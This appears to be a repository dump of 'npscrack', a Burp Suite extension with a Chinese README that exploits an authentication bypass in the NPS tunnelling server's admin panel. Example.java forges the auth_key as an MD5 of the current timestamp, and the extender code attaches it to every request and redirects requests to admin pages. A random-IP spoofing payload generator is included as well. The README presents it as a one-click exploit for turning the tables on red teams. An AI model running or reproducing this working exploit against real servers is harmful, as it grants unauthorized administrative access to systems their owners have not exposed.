├── npscrack.iml ├── target └── NPSauto-1.0.jar ├── pom.xml ├── src └── main │ └── java │ └── burp │ ├── Config.java │ ├── Example.java │ ├── Utils.java │ └── BurpExtender.java └── README.md /npscrack.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /target/NPSauto-1.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/weishen250/npscrack/HEAD/target/NPSauto-1.0.jar -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | net.thekingofduck 8 | NPSauto 9 | 1.0 10 | 11 | 12 | 13 | 14 | 15 | org.apache.maven.plugins 16 | maven-compiler-plugin 17 | 18 | 1.8 19 | 1.8 20 | 21 | 22 | 23 | 24 | 25 | 26 | net.portswigger.burp.extender 27 | burp-extender-api 28 | LATEST 29 | 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /src/main/java/burp/Config.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.util.Arrays; 4 | import java.util.List; 5 | 6 | /** 7 | * Project: fakeIP 8 | * Date:2021/5/21 上午11:56 9 | * 10 | * @author CoolCat 11 | * @version 1.0.0 12 | * Github:https://github.com/TheKingOfDuck 13 | * When I wirting my code, only God and I know what it does. After a while, only God knows. 14 | */ 15 | public class Config { 16 | 17 | 18 | // public static List HEADER_LIST = Arrays.asList( 19 | // "X-Forwarded-For","X-Forwarded","Forwarded-For","Forwarded","X-Requested-With","X-Forwarded-Proto", "X-Forwarded-Host", 20 | // "X-remote-IP","X-remote-addr","True-Client-IP","X-Client-IP","Client-IP","X-Real-IP", 21 | // "Ali-CDN-Real-IP","Cdn-Src-Ip","Cdn-Real-Ip","CF-Connecting-IP","X-Cluster-Client-IP", 22 | // "WL-Proxy-Client-IP", "Proxy-Client-IP","Fastly-Client-Ip","True-Client-Ip","X-Originating-IP", 23 | // "X-Host","X-Custom-IP-Authorization","X-Api-Version" 24 | // ); 25 | // 26 | // public static boolean AUTOXFF_STAT = false; 27 | public static boolean AUTONPS_STAT = false; 28 | // public static String AUTOXFF_KEY = "X-Forwarded-For"; 29 | 30 | // public static String AUTOXFF_VALUE = "$RandomIp$"; 31 | } 32 | -------------------------------------------------------------------------------- /src/main/java/burp/Example.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.security.MessageDigest; 4 | import java.security.NoSuchAlgorithmException; 5 | import java.util.Date; 6 | 7 | public class Example { 8 | 9 | private static String authKey; 10 | private static long timestamp; 11 | 12 | public static void main(String[] args) { 13 | generateAuthKey(); 14 | System.out.println("auth_key = " + authKey); 15 | System.out.println("timestamp = " + timestamp); 16 | } 17 | 18 | public static void generateAuthKey() { 19 | long now = new Date().getTime() / 1000L; 20 | timestamp = now; 21 | String input = String.valueOf(now); 22 | try { 23 | MessageDigest md = MessageDigest.getInstance("MD5"); 24 | byte[] md5Bytes = md.digest(input.getBytes()); 25 | authKey = bytesToHex(md5Bytes); 26 | } catch (NoSuchAlgorithmException e) { 27 | e.printStackTrace(); 28 | } 29 | } 30 | 31 | private static String bytesToHex(byte[] bytes) { 32 | StringBuilder sb = new StringBuilder(); 33 | for (byte b : bytes) { 34 | sb.append(String.format("%02x", b)); 35 | } 36 | return sb.toString(); 37 | } 38 | 39 | public static String getAuthKey() { 40 | generateAuthKey(); 41 | return authKey; 42 | } 43 | 44 | public static long getTimestamp() { 45 | generateAuthKey(); 46 | return timestamp; 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # npscrack burp插件 2 | 蓝队利器、溯源反制、NPS 漏洞利用、NPS exp、NPS poc、Burp插件、一键利用 3 | 4 | 最近做攻防演练发现了很多内网穿透的工具,其中最多的就是nps,红队老哥好像还挺喜欢这个的,真的是多,每天导出攻击IP,浅浅扫一下端口,基本都能发现这个nps。贼多 5 | ![image.png](https://cdn.nlark.com/yuque/0/2023/png/2785435/1676544454463-7763da97-db3c-45ff-a152-49965c32b692.png#averageHue=%23d4e3e5&clientId=u6eb7da8f-1a0b-4&from=paste&height=1135&id=u738442be&name=image.png&originHeight=2270&originWidth=4822&originalType=binary&ratio=2&rotation=0&showTitle=false&size=2146690&status=done&style=none&taskId=u76fc6994-613c-43f8-8d62-8b0dae57b44&title=&width=2411) 6 | NPS存在一个身份验证的缺陷,无需登录,直接进后台,后台功能点全都可以用。具体利用是伪造两个参数auth_key、timestamp。但是这俩参数的生命周期只有20秒,20秒过后就需要重新伪造,利用的时候,经常失效,还要不停的复制粘贴。非常的操蛋。 7 | 由于本人长年优雅,最看不得这种事,于是抽时间搞了一个小插件,一键解决所有问题。github连接:[https://github.com/weishen250/npscrack](https://github.com/weishen250/npscrack)。 8 | 9 | ## 使用方法 10 | 11 | 插件所有的功能集成到了Burp的右键中,首先访问nps站点,拦截请求包。 12 | 开启插件 13 | ![image.png](https://cdn.nlark.com/yuque/0/2023/png/2785435/1676560514248-a5c94d0b-cce9-4be7-89aa-4bd40ba5a2f6.png#averageHue=%23f6f5f4&clientId=u6eb7da8f-1a0b-4&from=paste&height=632&id=ub3e36420&name=image.png&originHeight=1264&originWidth=1968&originalType=binary&ratio=2&rotation=0&showTitle=false&size=366403&status=done&style=none&taskId=uf4d0f32c-4d99-4ade-9998-19b00332ab0&title=&width=984) 14 | 15 | 下面的这些功能为nps系统中主要的功能点。 16 | ![image.png](https://cdn.nlark.com/yuque/0/2023/png/2785435/1676560690558-b06975f0-3089-4d58-96b8-b6108058001d.png#averageHue=%23f7f6f5&clientId=u6eb7da8f-1a0b-4&from=paste&height=670&id=ue2219627&name=image.png&originHeight=1340&originWidth=2004&originalType=binary&ratio=2&rotation=0&showTitle=false&size=351047&status=done&style=none&taskId=u6cb48a11-b7b5-4255-af25-6bed656d1c9&title=&width=1002) 17 | 点击会修改请求包,之后直接放行数据包。其他的什么都不用管了 18 | ![image.png](https://cdn.nlark.com/yuque/0/2023/png/2785435/1676560914747-36336f05-629f-4caa-885b-f5aa9309464b.png#averageHue=%23d7dbdd&clientId=u6eb7da8f-1a0b-4&from=paste&height=809&id=u22c69a51&name=image.png&originHeight=1618&originWidth=2506&originalType=binary&ratio=2&rotation=0&showTitle=false&size=280844&status=done&style=none&taskId=u7179ae0f-b425-41a6-8575-1be9ab83194&title=&width=1253) 19 | 每一个请求都会自动贴上身份验证参数,非常的优雅,非常适合优雅且端庄的高级工程师。 20 | ## Star History 21 | 22 | [![Star History Chart](https://api.star-history.com/svg?repos=weishen250/npscrack&type=Date)](https://star-history.com/#weishen250/npscrack&Date) 23 | -------------------------------------------------------------------------------- /src/main/java/burp/Utils.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.net.MalformedURLException; 4 | import java.net.URL; 5 | import java.nio.charset.StandardCharsets; 6 | import java.security.SecureRandom; 7 | import java.util.List; 8 | 9 | 10 | 11 | 12 | /** 13 | * Project: fakeIP 14 | * Date:2021/5/21 上午11:30 15 | * 16 | * @author CoolCat 17 | * @version 1.0.0 18 | * Github:https://github.com/TheKingOfDuck 19 | * When I wirting my code, only God and I know what it does. After a while, only God knows. 20 | */ 21 | public class Utils { 22 | 23 | 24 | 25 | public static void EditIndex(IContextMenuInvocation iContextMenuInvocation,String Func) throws MalformedURLException { 26 | // 获取当前选择的消息 27 | IHttpRequestResponse currentRequest = iContextMenuInvocation.getSelectedMessages()[0]; 28 | 29 | // 获取请求信息 30 | IRequestInfo requestInfo = BurpExtender.helpers.analyzeRequest(currentRequest); 31 | 32 | // 更改URL路径 33 | URL newUrl = new URL(requestInfo.getUrl().getProtocol(), requestInfo.getUrl().getHost(), requestInfo.getUrl().getPort(), Func); 34 | String newUrlString = newUrl.toString(); 35 | 36 | // 替换原始请求中的URL路径为新的URL路径 37 | byte[] request = currentRequest.getRequest(); 38 | String requestString = new String(request, StandardCharsets.UTF_8); 39 | requestString = requestString.replaceFirst(requestInfo.getUrl().getPath(), newUrl.getPath()); 40 | requestString = requestString.replace(requestInfo.getUrl().toString(), newUrlString); 41 | currentRequest.setRequest(requestString.getBytes(StandardCharsets.UTF_8)); 42 | } 43 | 44 | 45 | 46 | 47 | 48 | 49 | public static void AddNpsCooki(IHttpRequestResponse iHttpRequestResponse, String auth_key,Long timestamp) { 50 | 51 | //获取原请求信息 52 | IRequestInfo requestInfo = BurpExtender.helpers.analyzeRequest(iHttpRequestResponse); 53 | List params = requestInfo.getParameters(); 54 | byte[] request = iHttpRequestResponse.getRequest(); 55 | 56 | 57 | // 构建新参数 58 | String parameterName1 = "auth_key"; 59 | String parameterValue1 = auth_key; 60 | IParameter newParameter1 = BurpExtender.helpers.buildParameter(parameterName1, parameterValue1, IParameter.PARAM_URL); 61 | 62 | String parameterName2 = "timestamp"; 63 | String parameterValue2 = String.valueOf(timestamp); 64 | IParameter newParameter2 = BurpExtender.helpers.buildParameter(parameterName2, parameterValue2, IParameter.PARAM_URL); 65 | 66 | // 将新参数添加到参数列表中 67 | params.add(newParameter1); 68 | params.add(newParameter2); 69 | 70 | byte[] newRequest = BurpExtender.helpers.updateParameter(request, newParameter1); 71 | newRequest = BurpExtender.helpers.updateParameter(newRequest, newParameter2); 72 | iHttpRequestResponse.setRequest(newRequest); 73 | 74 | 75 | } 76 | 77 | private static byte[] getHttpRequestBody(IHttpRequestResponse httpRequestResponse) { 78 | byte[] request = httpRequestResponse.getRequest(); 79 | IRequestInfo requestInfo = BurpExtender.helpers.analyzeRequest(request); 80 | 81 | int httpBodyOffset = requestInfo.getBodyOffset(); 82 | int httpBodyLength = request.length - httpBodyOffset; 83 | byte[] httpBody = new byte[httpBodyLength]; 84 | System.arraycopy(request,httpBodyOffset,httpBody,0,httpBodyLength); 85 | return httpBody; 86 | } 87 | 88 | public static String getRandomIp() { 89 | 90 | // ip范围 ref:https://blog.csdn.net/zhengxiongwei/article/details/78486146 91 | int[][] range = { 92 | {607649792, 608174079}, 93 | {1038614528, 1039007743}, 94 | {1783627776, 1784676351}, 95 | {2035023872, 2035154943}, 96 | {2078801920, 2079064063}, 97 | {-1950089216, -1948778497}, 98 | {-1425539072, -1425014785}, 99 | {-1236271104, -1235419137}, 100 | {-770113536, -768606209}, 101 | {-569376768, -564133889}, 102 | }; 103 | 104 | SecureRandom random = new SecureRandom(); 105 | int index = random.nextInt(10); 106 | String ip = num2ip(range[index][0] + new SecureRandom().nextInt(range[index][1] - range[index][0])); 107 | return ip; 108 | } 109 | 110 | public static String num2ip(int ip) { 111 | int[] b = new int[4]; 112 | String ipStr = ""; 113 | b[0] = (int) ((ip >> 24) & 0xff); 114 | b[1] = (int) ((ip >> 16) & 0xff); 115 | b[2] = (int) ((ip >> 8) & 0xff); 116 | b[3] = (int) (ip & 0xff); 117 | ipStr = Integer.toString(b[0]) + "." + Integer.toString(b[1]) + "." + Integer.toString(b[2]) + "." + Integer.toString(b[3]); 118 | return ipStr; 119 | } 120 | } 121 | -------------------------------------------------------------------------------- /src/main/java/burp/BurpExtender.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import javax.swing.*; 4 | import java.awt.event.ActionEvent; 5 | import java.awt.event.ActionListener; 6 | import java.io.PrintWriter; 7 | import java.net.MalformedURLException; 8 | import java.util.ArrayList; 9 | import java.util.List; 10 | 11 | /** 12 | * Project: fakeIP 13 | * Date:2021/5/21 上午11:07 14 | * 15 | * @author CoolCat 16 | * @version 1.0.0 17 | * Github:https://github.com/TheKingOfDuck 18 | * When I wirting my code, only God and I know what it does. After a while, only God knows. 19 | */ 20 | public class BurpExtender implements IBurpExtender, IContextMenuFactory, IIntruderPayloadGeneratorFactory, IIntruderPayloadGenerator, IHttpListener { 21 | public static IExtensionHelpers helpers; 22 | private String PLUGIN_NAME = "NPScrack"; 23 | private String VERSION = "1.0"; 24 | public static PrintWriter stdout; 25 | 26 | @Override 27 | public void registerExtenderCallbacks(final IBurpExtenderCallbacks callbacks) { 28 | helpers = callbacks.getHelpers(); 29 | 30 | stdout = new PrintWriter(callbacks.getStdout(), true); 31 | String banner = "[+] %s %s is loaded...\n" + 32 | "[+] ####################################\n" + 33 | "[+] Anthor: GODV\n" + 34 | "[+] Github: https://github.com/weishen250\n" + 35 | "[+] Team: ENO Team \n" + 36 | "[+] ####################################\n" + 37 | "[+] Enjoy it~"; 38 | stdout.println(String.format(banner, PLUGIN_NAME, VERSION)); 39 | 40 | //注册菜单 41 | callbacks.registerContextMenuFactory(this); 42 | //注册右键 43 | callbacks.registerIntruderPayloadGeneratorFactory(this); 44 | //注册插件名称 45 | callbacks.setExtensionName(PLUGIN_NAME); 46 | //注册一个http请求监听 47 | callbacks.registerHttpListener(this); 48 | 49 | } 50 | 51 | @Override 52 | //右击菜单 53 | public List createMenuItems(IContextMenuInvocation iContextMenuInvocation) { 54 | List menus = new ArrayList(); 55 | JMenu menu = new JMenu(PLUGIN_NAME); 56 | 57 | JMenuItem nps = new JMenuItem("启用插件"); 58 | JMenuItem index = new JMenuItem("查看仪表盘"); 59 | JMenuItem cile = new JMenuItem("查看客户端"); 60 | JMenuItem dotcom = new JMenuItem("查看域名解析"); 61 | JMenuItem Http = new JMenuItem("查看HTTP代理"); 62 | 63 | 64 | menu.add(nps); 65 | menu.add(index); 66 | menu.add(cile); 67 | menu.add(dotcom); 68 | menu.add(Http); 69 | 70 | 71 | //判断是否右击了鼠标 72 | // if (iContextMenuInvocation.getInvocationContext() != IContextMenuInvocation.CONTEXT_MESSAGE_VIEWER_REQUEST) { 73 | if (false) { 74 | return menus; 75 | } 76 | 77 | //点击菜单实现的方法 78 | index.addActionListener(new ActionListener() { 79 | @Override 80 | public void actionPerformed(ActionEvent arg0) { 81 | try { 82 | String Func = "/Index/Index"; 83 | Utils.EditIndex(iContextMenuInvocation,Func); 84 | } catch (MalformedURLException e) { 85 | throw new RuntimeException(e); 86 | 87 | } 88 | } 89 | }); 90 | 91 | cile.addActionListener(new ActionListener() { 92 | @Override 93 | public void actionPerformed(ActionEvent arg0) { 94 | try { 95 | String Func = "/client/list"; 96 | Utils.EditIndex(iContextMenuInvocation,Func); 97 | } catch (MalformedURLException e) { 98 | throw new RuntimeException(e); 99 | 100 | } 101 | } 102 | }); 103 | 104 | dotcom.addActionListener(new ActionListener() { 105 | @Override 106 | public void actionPerformed(ActionEvent arg0) { 107 | try { 108 | String Func = "/index/hostlist"; 109 | Utils.EditIndex(iContextMenuInvocation,Func); 110 | } catch (MalformedURLException e) { 111 | throw new RuntimeException(e); 112 | 113 | } 114 | } 115 | }); 116 | 117 | Http.addActionListener(new ActionListener() { 118 | @Override 119 | public void actionPerformed(ActionEvent arg0) { 120 | try { 121 | String Func = "/index/http"; 122 | Utils.EditIndex(iContextMenuInvocation,Func); 123 | } catch (MalformedURLException e) { 124 | throw new RuntimeException(e); 125 | 126 | } 127 | } 128 | }); 129 | 130 | nps.addActionListener(new ActionListener() { 131 | @Override 132 | public void actionPerformed(ActionEvent arg0) { 133 | 134 | Object[] options = {"OFF", "ON"}; 135 | int flag = JOptionPane.showOptionDialog(null, "AutoNPS Status: " + Config.AUTONPS_STAT, "FakeIP", JOptionPane.YES_OPTION, JOptionPane.PLAIN_MESSAGE, 136 | 137 | null, options, options[options.length - 1]); 138 | 139 | switch (flag) { 140 | case 0: 141 | Config.AUTONPS_STAT = false; 142 | break; 143 | case 1: 144 | Config.AUTONPS_STAT = true; 145 | break; 146 | default: 147 | } 148 | } 149 | } 150 | 151 | ); 152 | 153 | menus.add(menu); 154 | return menus; 155 | } 156 | 157 | 158 | @Override 159 | public boolean hasMorePayloads() { 160 | return true; 161 | } 162 | 163 | @Override 164 | public byte[] getNextPayload(byte[] bytes) { 165 | String payload = Utils.getRandomIp(); 166 | return payload.getBytes(); 167 | } 168 | 169 | @Override 170 | public void reset() { 171 | 172 | } 173 | 174 | @Override 175 | public String getGeneratorName() { 176 | return PLUGIN_NAME; 177 | } 178 | 179 | @Override 180 | public IIntruderPayloadGenerator createNewInstance(IIntruderAttack iIntruderAttack) { 181 | return this; 182 | } 183 | 184 | 185 | public void processHttpMessage(int i, boolean b, IHttpRequestResponse iHttpRequestResponse) { 186 | // if (b && Config.AUTOXFF_STAT) { 187 | // if (Config.AUTOXFF_VALUE.equals("$RandomIp$")) { 188 | // Utils.addfakeip(iHttpRequestResponse, Utils.getRandomIp()); 189 | // } else { 190 | // Utils.addfakeip(iHttpRequestResponse, Config.AUTOXFF_VALUE); 191 | // } 192 | // } 193 | 194 | if (b && Config.AUTONPS_STAT){ 195 | String auth_key = Example.getAuthKey(); 196 | long timestamp = Example.getTimestamp(); 197 | Utils.AddNpsCooki(iHttpRequestResponse,auth_key,timestamp); 198 | } 199 | 200 | } 201 | } 202 | 203 | 204 | 205 | --------------------------------------------------------------------------------